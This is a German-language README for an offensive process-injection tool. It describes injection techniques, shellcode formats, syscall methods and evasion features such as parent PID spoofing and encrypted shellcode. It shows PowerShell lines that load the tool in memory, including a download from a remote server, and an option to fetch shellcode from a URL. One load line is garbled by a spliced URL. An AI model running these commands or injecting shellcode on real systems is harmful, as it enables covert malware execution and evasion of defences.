
Dieses Programm wurde entwickelt, um verschiedene Prozessinjektionstechniken zu demonstrieren.
Das Programm ist dafür ausgelegt, Prozessinjektion durchzuführen. Derzeit unterstützt das Tool 5 Prozessinjektionstechniken.
1) Vanilla Process Injection
2) DLL Injection
3) Process Hollowing
4) APC Queue
5) KernelCallbackTable Injection
Das Tool akzeptiert Shellcode in 4 Formaten.
1) base64
2) hex
3) c
4) raw
Das Tool unterstützt 4 Methoden zur Durchführung von Prozessinjektion.
1) P/Invoke
2) D/Invoke
3) Direct Syscalls
4) Indirect Syscalls
Unterstützt 3 Techniken zur Umgehung von Erkennung.
1) Parent PID Spoofing
Verschlüsselung
2) XOR-Verschlüsselung (Kann auch mit der Parent-PID-Spoofing-Technik verwendet werden, kann aber nicht mit der DLL-Injection-Technik verwendet werden)
3) AES-Verschlüsselung (Kann auch mit der Parent-PID-Spoofing-Technik verwendet werden, kann aber nicht mit der DLL-Injection-Technik verwendet werden)
Kann per Reflection geladen werden.
# Load from the disk
[System.Reflection.Assembly]:https://raw.githubusercontent.com/3xpl01tc0d3r/processinjection/HEAD/:Load(%5BSystem.IO.File%5D::ReadAllBytes(%22ProcessInjection.exe%22))
# Load from a remote server
[System.Reflection.Assembly]::Load((New-Object Net.WebClient).DownloadData("http://<URL>/ProcessInjection.exe"))
# Perform process injection
[ProcessInjection.ProcessInjection]::Main(@("/t:1", "/f:base64", "/pid:<ProcessId>", "/sc:<ShellCode>"))
Verwendung Beschreibung
----- -----------
/t Geben Sie die ID der Prozessinjektionstechnik an.
1 = Vanilla Process Injection
2 = DLL Injection
3 = Process Hollowing
4 = APC Queue Injection
5 = KernelCallbackTable Injection
/m Geben Sie die zu verwendende Methode an.
p = P/Invoke (Standard)
d = D/Invoke
ds = Direct Syscalls
ids = Indirect Syscalls
/f Geben Sie das Format des Shellcodes an.
base64
hex
c
raw
/pid Geben Sie die Prozess-ID an.
/parentproc Geben Sie den Namen des übergeordneten Prozesses an.
/path Geben Sie den Pfad der Datei an, die den Shellcode enthält.
/ppath Geben Sie den Pfad der ausführbaren Datei an, die gestartet wird (erforderlich bei Verwendung des /parentproc-Arguments).
/url Geben Sie die URL an, auf der der Shellcode gehostet wird.
/enc Geben Sie den Verschlüsselungstyp (aes oder xor) an, mit dem der Shellcode verschlüsselt ist.
/key Geben Sie den Schlüssel an, der zum Entschlüsseln des Shellcodes verwendet wird.
/sc Geben Sie den Shellcode direkt im base64- oder Hex-Format an. Hinweis: Um großen Shellcode zu übergeben, nutzen Sie bitte Reflection, um das Programm auszuführen.
/help Hilfe anzeigen
https://3xpl01tc0d3r.blogspot.com/2019/08/process-injection-part-i.html
https://3xpl01tc0d3r.blogspot.com/2019/09/process-injection-part-ii.html
https://3xpl01tc0d3r.blogspot.com/2019/10/process-injection-part-iii.html
https://medium.com/@r3n_hat/parent-pid-spoofing-b0b17317168e
https://3xpl01tc0d3r.blogspot.com/2019/12/process-injection-part-v.html
https://3xpl01tc0d3r.blogspot.com/2020/08/process-injection-tool-updates.html
Danksagungen gehen auch an:
Aaron Bray & Rasta Mouse für den Process-Hollowing-Code
The Wover & b33f für Dynamic Invoke - (https://thewover.github.io/Dynamic-Invoke/)